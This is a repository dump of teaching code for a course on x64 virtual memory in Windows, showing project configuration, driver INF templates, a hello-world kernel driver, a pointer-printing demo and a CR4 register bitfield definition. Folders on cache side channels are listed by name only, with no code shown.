├── .gitattributes ├── .gitignore ├── 01.01.MemoryAddress ├── 01.01.MemoryAddress.vcxproj ├── 01.01.MemoryAddress.vcxproj.filters └── main.c ├── 02.01.HelloWord ├── 02.01.HelloWord.inf ├── 02.01.HelloWord.vcxproj ├── 02.01.HelloWord.vcxproj.filters └── main.c ├── 04.01.CR4 ├── 04.01.CR4.vcxproj ├── 04.01.CR4.vcxproj.filters ├── VmDriverTemplateV1.inf ├── main.c ├── win10.c ├── win10.h └── x64.h ├── 04.02.CR4Asm ├── 04.02.CR4Asm.vcxproj ├── 04.02.CR4Asm.vcxproj.filters ├── VmDriverTemplateV1.inf ├── main.c ├── win10.c ├── win10.h └── x64.h ├── 05.01.Walk ├── 05.01.Walk.vcxproj ├── 05.01.Walk.vcxproj.filters ├── VmDriverTemplateV1.inf ├── main.c ├── win10.c ├── win10.h └── x64.h ├── 05.02.WalkVisualization ├── 05.02.WalkVisualization.vcxproj ├── 05.02.WalkVisualization.vcxproj.filters ├── VmDriverTemplateV1.inf ├── main.c ├── win10.c ├── win10.h └── x64.h ├── 05.03.MAXPHYADDR ├── 05.03.MAXPHYADDR.vcxproj ├── 05.03.MAXPHYADDR.vcxproj.filters └── main.c ├── 06.01.EnableLockPagesInMemory ├── 06.01.EnableLockPagesInMemory.vcxproj ├── 06.01.EnableLockPagesInMemory.vcxproj.filters └── main.c ├── 06.02.Sample ├── 06.02.Sample.vcxproj ├── 06.02.Sample.vcxproj.filters ├── largepage.c ├── largepage.h └── main.c ├── 06.03.DumpPageTable ├── 06.03.DumpPageTable.vcxproj ├── 06.03.DumpPageTable.vcxproj.filters ├── VmDriverTemplateV1.inf ├── main.c ├── win10.c ├── win10.h ├── x64.c └── x64.h ├── 07.01.VaToPa ├── 07.01.VaToPa.vcxproj ├── 07.01.VaToPa.vcxproj.filters ├── VmDriverTemplateV1.inf ├── main.c ├── win10.c ├── win10.h ├── x64.c └── x64.h ├── 08.01.Repeater ├── 08.01.Repeater.vcxproj ├── 08.01.Repeater.vcxproj.filters └── main.c ├── 08.02.Playground ├── 08.02.Playground.vcxproj ├── 08.02.Playground.vcxproj.filters └── main.c ├── 08.03.ShareMemory ├── 08.03.ShareMemory.vcxproj ├── 08.03.ShareMemory.vcxproj.filters ├── VmDriverTemplateV1.inf ├── main.c ├── win10.c ├── win10.h ├── x64.c └── x64.h ├── 10.01.SelfMapping ├── 10.01.SelfMapping.vcxproj ├── 10.01.SelfMapping.vcxproj.filters ├── VmDriverTemplateV1.inf ├── main.c ├── win10.c ├── win10.h ├── x64.c └── x64.h ├── 11.01.Flush+Reload ├── 11.01.Flush+Reload.vcxproj ├── 11.01.Flush+Reload.vcxproj.filters └── main.c ├── 11.02.Secret ├── 11.02.Secret.vcxproj ├── 11.02.Secret.vcxproj.filters ├── VmDriverTemplateV1.inf ├── main.c ├── secret.h ├── win10.c ├── win10.h └── x64.h ├── 11.03.Meltdown ├── 11.03.Meltdown.vcxproj ├── 11.03.Meltdown.vcxproj.filters ├── main.c └── meltdown.asm ├── 12.01.DumpL1pt ├── 12.01.DumpL1pt.vcxproj ├── 12.01.DumpL1pt.vcxproj.filters ├── VmDriverTemplateV1.inf ├── common.h ├── main.c ├── win10.c ├── win10.h ├── x64.c └── x64.h ├── 12.02.DumpShadowPageTable ├── 12.02.DumpShadowPageTable.vcxproj ├── 12.02.DumpShadowPageTable.vcxproj.filters ├── VmDriverTemplateV1.inf ├── common.h ├── main.c ├── win10.c ├── win10.h ├── x64.c └── x64.h ├── 12.03.ShareMemory ├── 12.03.ShareMemory.vcxproj ├── 12.03.ShareMemory.vcxproj.filters ├── VmDriverTemplateV1.inf ├── common.h ├── main.c ├── win10.c ├── win10.h ├── x64.c └── x64.h ├── 13.01.TotalMeltdownTest ├── 13.01.TotalMeltdownTest.vcxproj ├── 13.01.TotalMeltdownTest.vcxproj.filters ├── main.c └── x64.h ├── PageTableViewer ├── .vscode │ ├── extensions.json │ └── settings.json ├── assets │ ├── application.css │ ├── application.js │ ├── d3.v7.min.js │ ├── graph-link.js │ ├── graph-node.js │ ├── jsconfig.json │ ├── package.json │ ├── sarasa-mono-sc-bold.ttf │ ├── sarasa-mono-sc-regular.ttf │ └── yarn.lock ├── data.js └── index.html ├── README.md ├── Resources ├── 01.pptx ├── 05.pptx ├── 07.pptx ├── 08.pptx ├── 09.pptx ├── 10.pptx ├── 11.pptx ├── 12.pptx ├── 13.pptx ├── Intel® 64 and IA-32 Architectures Software Developer’s Manual Combined Volumes:1, 2A, 2B, 2C, 2D, 3A, 3B, 3C, 3D, and 4.pdf └── KmdKit.zip ├── VmDriverTemplateV1 ├── VmDriverTemplateV1.inf ├── VmDriverTemplateV1.vcxproj ├── VmDriverTemplateV1.vcxproj.filters ├── main.c ├── win10.c ├── win10.h └── x64.h └── video-virtual-memory-materials.sln /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /01.01.MemoryAddress/01.01.MemoryAddress.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 源文件 20 | 21 | 22 | -------------------------------------------------------------------------------- /01.01.MemoryAddress/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(void) { 4 | char 数据 = 'x'; 5 | char *地址 = &数据; 6 | 7 | printf("数据=%c 地址=0x%p 地址长度=%zu字节\n", 数据, 地址, sizeof(地址)); 8 | 9 | return 0; 10 | } 11 | -------------------------------------------------------------------------------- /02.01.HelloWord/02.01.HelloWord.inf: -------------------------------------------------------------------------------- 1 | ; 2 | ; 02.01.HelloWord.inf 3 | ; 4 | 5 | [Version] 6 | Signature="$WINDOWS NT$" 7 | Class=System ; TODO: specify appropriate Class 8 | ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318} ; TODO: specify appropriate ClassGuid 9 | Provider=%ManufacturerName% 10 | CatalogFile=02.01.HelloWord.cat 11 | DriverVer= ; TODO: set DriverVer in stampinf property pages 12 | PnpLockdown=1 13 | 14 | [DestinationDirs] 15 | DefaultDestDir = 12 16 | 02.01.HelloWord_Device_CoInstaller_CopyFiles = 11 17 | 18 | [SourceDisksNames] 19 | 1 = %DiskName%,,,"" 20 | 21 | [SourceDisksFiles] 22 | 02.01.HelloWord.sys = 1,, 23 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll=1 ; make sure the number matches with SourceDisksNames 24 | 25 | ;***************************************** 26 | ; Install Section 27 | ;***************************************** 28 | 29 | [Manufacturer] 30 | %ManufacturerName%=Standard,NT$ARCH$ 31 | 32 | [Standard.NT$ARCH$] 33 | %02.01.HelloWord.DeviceDesc%=02.01.HelloWord_Device, Root\02.01.HelloWord ; TODO: edit hw-id 34 | 35 | [02.01.HelloWord_Device.NT] 36 | CopyFiles=Drivers_Dir 37 | 38 | [Drivers_Dir] 39 | 02.01.HelloWord.sys 40 | 41 | ;-------------- Service installation 42 | [02.01.HelloWord_Device.NT.Services] 43 | AddService = 02.01.HelloWord,%SPSVCINST_ASSOCSERVICE%, 02.01.HelloWord_Service_Inst 44 | 45 | ; -------------- 02.01.HelloWord driver install sections 46 | [02.01.HelloWord_Service_Inst] 47 | DisplayName = %02.01.HelloWord.SVCDESC% 48 | ServiceType = 1 ; SERVICE_KERNEL_DRIVER 49 | StartType = 3 ; SERVICE_DEMAND_START 50 | ErrorControl = 1 ; SERVICE_ERROR_NORMAL 51 | ServiceBinary = %12%\02.01.HelloWord.sys 52 | 53 | ; 54 | ;--- 02.01.HelloWord_Device Coinstaller installation ------ 55 | ; 56 | 57 | [02.01.HelloWord_Device.NT.CoInstallers] 58 | AddReg=02.01.HelloWord_Device_CoInstaller_AddReg 59 | CopyFiles=02.01.HelloWord_Device_CoInstaller_CopyFiles 60 | 61 | [02.01.HelloWord_Device_CoInstaller_AddReg] 62 | HKR,,CoInstallers32,0x00010000, "WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll,WdfCoInstaller" 63 | 64 | [02.01.HelloWord_Device_CoInstaller_CopyFiles] 65 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll 66 | 67 | [02.01.HelloWord_Device.NT.Wdf] 68 | KmdfService = 02.01.HelloWord, 02.01.HelloWord_wdfsect 69 | [02.01.HelloWord_wdfsect] 70 | KmdfLibraryVersion = $KMDFVERSION$ 71 | 72 | [Strings] 73 | SPSVCINST_ASSOCSERVICE= 0x00000002 74 | ManufacturerName="" ;TODO: Replace with your manufacturer name 75 | DiskName = "02.01.HelloWord Installation Disk" 76 | 02.01.HelloWord.DeviceDesc = "02.01.HelloWord Device" 77 | 02.01.HelloWord.SVCDESC = "02.01.HelloWord Service" 78 | -------------------------------------------------------------------------------- /02.01.HelloWord/02.01.HelloWord.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | x64 7 | 8 | 9 | Release 10 | x64 11 | 12 | 13 | Debug 14 | ARM64 15 | 16 | 17 | Release 18 | ARM64 19 | 20 | 21 | 22 | {3C50FFE0-9A4A-4AAA-9940-71F787A1600B} 23 | {1bc93793-694f-48fe-9372-81e2b05556fd} 24 | v4.5 25 | 12.0 26 | Debug 27 | x64 28 | _02_01_HelloWord 29 | 30 | 31 | 32 | Windows10 33 | true 34 | WindowsKernelModeDriver10.0 35 | Driver 36 | KMDF 37 | Universal 38 | 39 | 40 | Windows10 41 | false 42 | WindowsKernelModeDriver10.0 43 | Driver 44 | KMDF 45 | Universal 46 | 47 | 48 | Windows10 49 | true 50 | WindowsKernelModeDriver10.0 51 | Driver 52 | KMDF 53 | Universal 54 | 55 | 56 | Windows10 57 | false 58 | WindowsKernelModeDriver10.0 59 | Driver 60 | KMDF 61 | Universal 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | DbgengKernelDebugger 73 | true 74 | 75 | 76 | DbgengKernelDebugger 77 | 78 | 79 | DbgengKernelDebugger 80 | 81 | 82 | DbgengKernelDebugger 83 | 84 | 85 | 86 | sha256 87 | 88 | 89 | 90 | 91 | sha256 92 | 93 | 94 | 95 | 96 | sha256 97 | 98 | 99 | 100 | 101 | sha256 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | -------------------------------------------------------------------------------- /02.01.HelloWord/02.01.HelloWord.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {8E41214B-6785-4CFE-B992-037D68949A14} 18 | inf;inv;inx;mof;mc; 19 | 20 | 21 | 22 | 23 | Driver Files 24 | 25 | 26 | 27 | 28 | Source Files 29 | 30 | 31 | -------------------------------------------------------------------------------- /02.01.HelloWord/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | VOID 4 | DriverUnload(PDRIVER_OBJECT DriverObject) 5 | { 6 | UNREFERENCED_PARAMETER(DriverObject); 7 | DbgPrint("Bye\n"); 8 | } 9 | 10 | NTSTATUS 11 | DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) 12 | { 13 | UNREFERENCED_PARAMETER(RegistryPath); 14 | 15 | DbgPrint("Hello World!\n"); 16 | DriverObject->DriverUnload = DriverUnload; 17 | return STATUS_SUCCESS; 18 | } 19 | -------------------------------------------------------------------------------- /04.01.CR4/04.01.CR4.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {8E41214B-6785-4CFE-B992-037D68949A14} 18 | inf;inv;inx;mof;mc; 19 | 20 | 21 | 22 | 23 | Driver Files 24 | 25 | 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | 35 | 36 | Header Files 37 | 38 | 39 | Header Files 40 | 41 | 42 | -------------------------------------------------------------------------------- /04.01.CR4/VmDriverTemplateV1.inf: -------------------------------------------------------------------------------- 1 | ; 2 | ; _04_01_CR4.inf 3 | ; 4 | 5 | [Version] 6 | Signature="$WINDOWS NT$" 7 | Class=System ; TODO: specify appropriate Class 8 | ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318} ; TODO: specify appropriate ClassGuid 9 | Provider=%ManufacturerName% 10 | CatalogFile=_04_01_CR4.cat 11 | DriverVer= ; TODO: set DriverVer in stampinf property pages 12 | PnpLockdown=1 13 | 14 | [DestinationDirs] 15 | DefaultDestDir = 12 16 | _04_01_CR4_Device_CoInstaller_CopyFiles = 11 17 | 18 | [SourceDisksNames] 19 | 1 = %DiskName%,,,"" 20 | 21 | [SourceDisksFiles] 22 | 04.01.CR4.sys = 1,, 23 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll=1 ; make sure the number matches with SourceDisksNames 24 | 25 | ;***************************************** 26 | ; Install Section 27 | ;***************************************** 28 | 29 | [Manufacturer] 30 | %ManufacturerName%=Standard,NT$ARCH$ 31 | 32 | [Standard.NT$ARCH$] 33 | %_04_01_CR4.DeviceDesc%=_04_01_CR4_Device, Root\_04_01_CR4 ; TODO: edit hw-id 34 | 35 | [_04_01_CR4_Device.NT] 36 | CopyFiles=Drivers_Dir 37 | 38 | [Drivers_Dir] 39 | 04.01.CR4.sys 40 | 41 | ;-------------- Service installation 42 | [_04_01_CR4_Device.NT.Services] 43 | AddService = _04_01_CR4,%SPSVCINST_ASSOCSERVICE%, _04_01_CR4_Service_Inst 44 | 45 | ; -------------- _04_01_CR4 driver install sections 46 | [_04_01_CR4_Service_Inst] 47 | DisplayName = %_04_01_CR4.SVCDESC% 48 | ServiceType = 1 ; SERVICE_KERNEL_DRIVER 49 | StartType = 3 ; SERVICE_DEMAND_START 50 | ErrorControl = 1 ; SERVICE_ERROR_NORMAL 51 | ServiceBinary = %12%\_04_01_CR4.sys 52 | 53 | ; 54 | ;--- _04_01_CR4_Device Coinstaller installation ------ 55 | ; 56 | 57 | [_04_01_CR4_Device.NT.CoInstallers] 58 | AddReg=_04_01_CR4_Device_CoInstaller_AddReg 59 | CopyFiles=_04_01_CR4_Device_CoInstaller_CopyFiles 60 | 61 | [_04_01_CR4_Device_CoInstaller_AddReg] 62 | HKR,,CoInstallers32,0x00010000, "WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll,WdfCoInstaller" 63 | 64 | [_04_01_CR4_Device_CoInstaller_CopyFiles] 65 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll 66 | 67 | [_04_01_CR4_Device.NT.Wdf] 68 | KmdfService = _04_01_CR4, _04_01_CR4_wdfsect 69 | [_04_01_CR4_wdfsect] 70 | KmdfLibraryVersion = $KMDFVERSION$ 71 | 72 | [Strings] 73 | SPSVCINST_ASSOCSERVICE= 0x00000002 74 | ManufacturerName="" ;TODO: Replace with your manufacturer name 75 | DiskName = "_04_01_CR4 Installation Disk" 76 | _04_01_CR4.DeviceDesc = "_04_01_CR4 Device" 77 | _04_01_CR4.SVCDESC = "_04_01_CR4 Service" 78 | -------------------------------------------------------------------------------- /04.01.CR4/main.c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dulong-lab/video-virtual-memory-materials/71ba5520e20b9e570879da9d9d1662c4af2bf904/04.01.CR4/main.c -------------------------------------------------------------------------------- /04.01.CR4/win10.c: -------------------------------------------------------------------------------- 1 | #include "win10.h" 2 | -------------------------------------------------------------------------------- /04.01.CR4/win10.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | -------------------------------------------------------------------------------- /04.01.CR4/x64.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | typedef union _CR4 { 5 | UINT64 Value; 6 | struct 7 | { 8 | UINT64 VME : 1; 9 | UINT64 PVI : 1; 10 | UINT64 TSD : 1; 11 | UINT64 DE : 1; 12 | UINT64 PSE : 1; 13 | UINT64 PAE : 1; 14 | UINT64 MCE : 1; 15 | UINT64 PGE : 1; 16 | UINT64 PCE : 1; 17 | UINT64 OSFXSR : 1; 18 | UINT64 OSXMMEXCPT : 1; 19 | UINT64 UMIP : 1; 20 | UINT64 LA57 : 1; 21 | UINT64 VMXE : 1; 22 | UINT64 SMXE : 1; 23 | UINT64 Reserved1 : 1; 24 | UINT64 FSGSBASE : 1; 25 | UINT64 PCIDE : 1; 26 | UINT64 OSXSAVE : 1; 27 | UINT64 KL : 1; 28 | UINT64 SMEP : 1; 29 | UINT64 SMAP : 1; 30 | UINT64 PKE : 1; 31 | UINT64 CET : 1; 32 | UINT64 PKS : 1; 33 | UINT64 Reserved2 : 39; 34 | } Fields; 35 | } CR4, * PCR4; 36 | -------------------------------------------------------------------------------- /04.02.CR4Asm/04.02.CR4Asm.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {8E41214B-6785-4CFE-B992-037D68949A14} 18 | inf;inv;inx;mof;mc; 19 | 20 | 21 | 22 | 23 | Driver Files 24 | 25 | 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | 35 | 36 | Header Files 37 | 38 | 39 | Header Files 40 | 41 | 42 | -------------------------------------------------------------------------------- /04.02.CR4Asm/VmDriverTemplateV1.inf: -------------------------------------------------------------------------------- 1 | ; 2 | ; _04_02_CR4Asm.inf 3 | ; 4 | 5 | [Version] 6 | Signature="$WINDOWS NT$" 7 | Class=System ; TODO: specify appropriate Class 8 | ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318} ; TODO: specify appropriate ClassGuid 9 | Provider=%ManufacturerName% 10 | CatalogFile=_04_02_CR4Asm.cat 11 | DriverVer= ; TODO: set DriverVer in stampinf property pages 12 | PnpLockdown=1 13 | 14 | [DestinationDirs] 15 | DefaultDestDir = 12 16 | _04_02_CR4Asm_Device_CoInstaller_CopyFiles = 11 17 | 18 | [SourceDisksNames] 19 | 1 = %DiskName%,,,"" 20 | 21 | [SourceDisksFiles] 22 | 04.02.CR4Asm.sys = 1,, 23 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll=1 ; make sure the number matches with SourceDisksNames 24 | 25 | ;***************************************** 26 | ; Install Section 27 | ;***************************************** 28 | 29 | [Manufacturer] 30 | %ManufacturerName%=Standard,NT$ARCH$ 31 | 32 | [Standard.NT$ARCH$] 33 | %_04_02_CR4Asm.DeviceDesc%=_04_02_CR4Asm_Device, Root\_04_02_CR4Asm ; TODO: edit hw-id 34 | 35 | [_04_02_CR4Asm_Device.NT] 36 | CopyFiles=Drivers_Dir 37 | 38 | [Drivers_Dir] 39 | 04.02.CR4Asm.sys 40 | 41 | ;-------------- Service installation 42 | [_04_02_CR4Asm_Device.NT.Services] 43 | AddService = _04_02_CR4Asm,%SPSVCINST_ASSOCSERVICE%, _04_02_CR4Asm_Service_Inst 44 | 45 | ; -------------- _04_02_CR4Asm driver install sections 46 | [_04_02_CR4Asm_Service_Inst] 47 | DisplayName = %_04_02_CR4Asm.SVCDESC% 48 | ServiceType = 1 ; SERVICE_KERNEL_DRIVER 49 | StartType = 3 ; SERVICE_DEMAND_START 50 | ErrorControl = 1 ; SERVICE_ERROR_NORMAL 51 | ServiceBinary = %12%\_04_02_CR4Asm.sys 52 | 53 | ; 54 | ;--- _04_02_CR4Asm_Device Coinstaller installation ------ 55 | ; 56 | 57 | [_04_02_CR4Asm_Device.NT.CoInstallers] 58 | AddReg=_04_02_CR4Asm_Device_CoInstaller_AddReg 59 | CopyFiles=_04_02_CR4Asm_Device_CoInstaller_CopyFiles 60 | 61 | [_04_02_CR4Asm_Device_CoInstaller_AddReg] 62 | HKR,,CoInstallers32,0x00010000, "WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll,WdfCoInstaller" 63 | 64 | [_04_02_CR4Asm_Device_CoInstaller_CopyFiles] 65 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll 66 | 67 | [_04_02_CR4Asm_Device.NT.Wdf] 68 | KmdfService = _04_02_CR4Asm, _04_02_CR4Asm_wdfsect 69 | [_04_02_CR4Asm_wdfsect] 70 | KmdfLibraryVersion = $KMDFVERSION$ 71 | 72 | [Strings] 73 | SPSVCINST_ASSOCSERVICE= 0x00000002 74 | ManufacturerName="" ;TODO: Replace with your manufacturer name 75 | DiskName = "_04_02_CR4Asm Installation Disk" 76 | _04_02_CR4Asm.DeviceDesc = "_04_02_CR4Asm Device" 77 | _04_02_CR4Asm.SVCDESC = "_04_02_CR4Asm Service" 78 | -------------------------------------------------------------------------------- /04.02.CR4Asm/main.c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dulong-lab/video-virtual-memory-materials/71ba5520e20b9e570879da9d9d1662c4af2bf904/04.02.CR4Asm/main.c -------------------------------------------------------------------------------- /04.02.CR4Asm/win10.c: -------------------------------------------------------------------------------- 1 | #include "win10.h" 2 | -------------------------------------------------------------------------------- /04.02.CR4Asm/win10.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | -------------------------------------------------------------------------------- /04.02.CR4Asm/x64.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | typedef union _CR4 { 5 | UINT64 Value; 6 | struct 7 | { 8 | UINT64 VME : 1; 9 | UINT64 PVI : 1; 10 | UINT64 TSD : 1; 11 | UINT64 DE : 1; 12 | UINT64 PSE : 1; 13 | UINT64 PAE : 1; 14 | UINT64 MCE : 1; 15 | UINT64 PGE : 1; 16 | UINT64 PCE : 1; 17 | UINT64 OSFXSR : 1; 18 | UINT64 OSXMMEXCPT : 1; 19 | UINT64 UMIP : 1; 20 | UINT64 LA57 : 1; 21 | UINT64 VMXE : 1; 22 | UINT64 SMXE : 1; 23 | UINT64 Reserved1 : 1; 24 | UINT64 FSGSBASE : 1; 25 | UINT64 PCIDE : 1; 26 | UINT64 OSXSAVE : 1; 27 | UINT64 KL : 1; 28 | UINT64 SMEP : 1; 29 | UINT64 SMAP : 1; 30 | UINT64 PKE : 1; 31 | UINT64 CET : 1; 32 | UINT64 PKS : 1; 33 | UINT64 Reserved2 : 39; 34 | } Fields; 35 | } CR4, * PCR4; 36 | -------------------------------------------------------------------------------- /05.01.Walk/05.01.Walk.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {8E41214B-6785-4CFE-B992-037D68949A14} 18 | inf;inv;inx;mof;mc; 19 | 20 | 21 | 22 | 23 | Driver Files 24 | 25 | 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | 35 | 36 | Header Files 37 | 38 | 39 | Header Files 40 | 41 | 42 | -------------------------------------------------------------------------------- /05.01.Walk/VmDriverTemplateV1.inf: -------------------------------------------------------------------------------- 1 | ; 2 | ; _05_01_Walk.inf 3 | ; 4 | 5 | [Version] 6 | Signature="$WINDOWS NT$" 7 | Class=System ; TODO: specify appropriate Class 8 | ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318} ; TODO: specify appropriate ClassGuid 9 | Provider=%ManufacturerName% 10 | CatalogFile=_05_01_Walk.cat 11 | DriverVer= ; TODO: set DriverVer in stampinf property pages 12 | PnpLockdown=1 13 | 14 | [DestinationDirs] 15 | DefaultDestDir = 12 16 | _05_01_Walk_Device_CoInstaller_CopyFiles = 11 17 | 18 | [SourceDisksNames] 19 | 1 = %DiskName%,,,"" 20 | 21 | [SourceDisksFiles] 22 | 05.01.Walk.sys = 1,, 23 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll=1 ; make sure the number matches with SourceDisksNames 24 | 25 | ;***************************************** 26 | ; Install Section 27 | ;***************************************** 28 | 29 | [Manufacturer] 30 | %ManufacturerName%=Standard,NT$ARCH$ 31 | 32 | [Standard.NT$ARCH$] 33 | %_05_01_Walk.DeviceDesc%=_05_01_Walk_Device, Root\_05_01_Walk ; TODO: edit hw-id 34 | 35 | [_05_01_Walk_Device.NT] 36 | CopyFiles=Drivers_Dir 37 | 38 | [Drivers_Dir] 39 | 05.01.Walk.sys 40 | 41 | ;-------------- Service installation 42 | [_05_01_Walk_Device.NT.Services] 43 | AddService = _05_01_Walk,%SPSVCINST_ASSOCSERVICE%, _05_01_Walk_Service_Inst 44 | 45 | ; -------------- _05_01_Walk driver install sections 46 | [_05_01_Walk_Service_Inst] 47 | DisplayName = %_05_01_Walk.SVCDESC% 48 | ServiceType = 1 ; SERVICE_KERNEL_DRIVER 49 | StartType = 3 ; SERVICE_DEMAND_START 50 | ErrorControl = 1 ; SERVICE_ERROR_NORMAL 51 | ServiceBinary = %12%\_05_01_Walk.sys 52 | 53 | ; 54 | ;--- _05_01_Walk_Device Coinstaller installation ------ 55 | ; 56 | 57 | [_05_01_Walk_Device.NT.CoInstallers] 58 | AddReg=_05_01_Walk_Device_CoInstaller_AddReg 59 | CopyFiles=_05_01_Walk_Device_CoInstaller_CopyFiles 60 | 61 | [_05_01_Walk_Device_CoInstaller_AddReg] 62 | HKR,,CoInstallers32,0x00010000, "WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll,WdfCoInstaller" 63 | 64 | [_05_01_Walk_Device_CoInstaller_CopyFiles] 65 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll 66 | 67 | [_05_01_Walk_Device.NT.Wdf] 68 | KmdfService = _05_01_Walk, _05_01_Walk_wdfsect 69 | [_05_01_Walk_wdfsect] 70 | KmdfLibraryVersion = $KMDFVERSION$ 71 | 72 | [Strings] 73 | SPSVCINST_ASSOCSERVICE= 0x00000002 74 | ManufacturerName="" ;TODO: Replace with your manufacturer name 75 | DiskName = 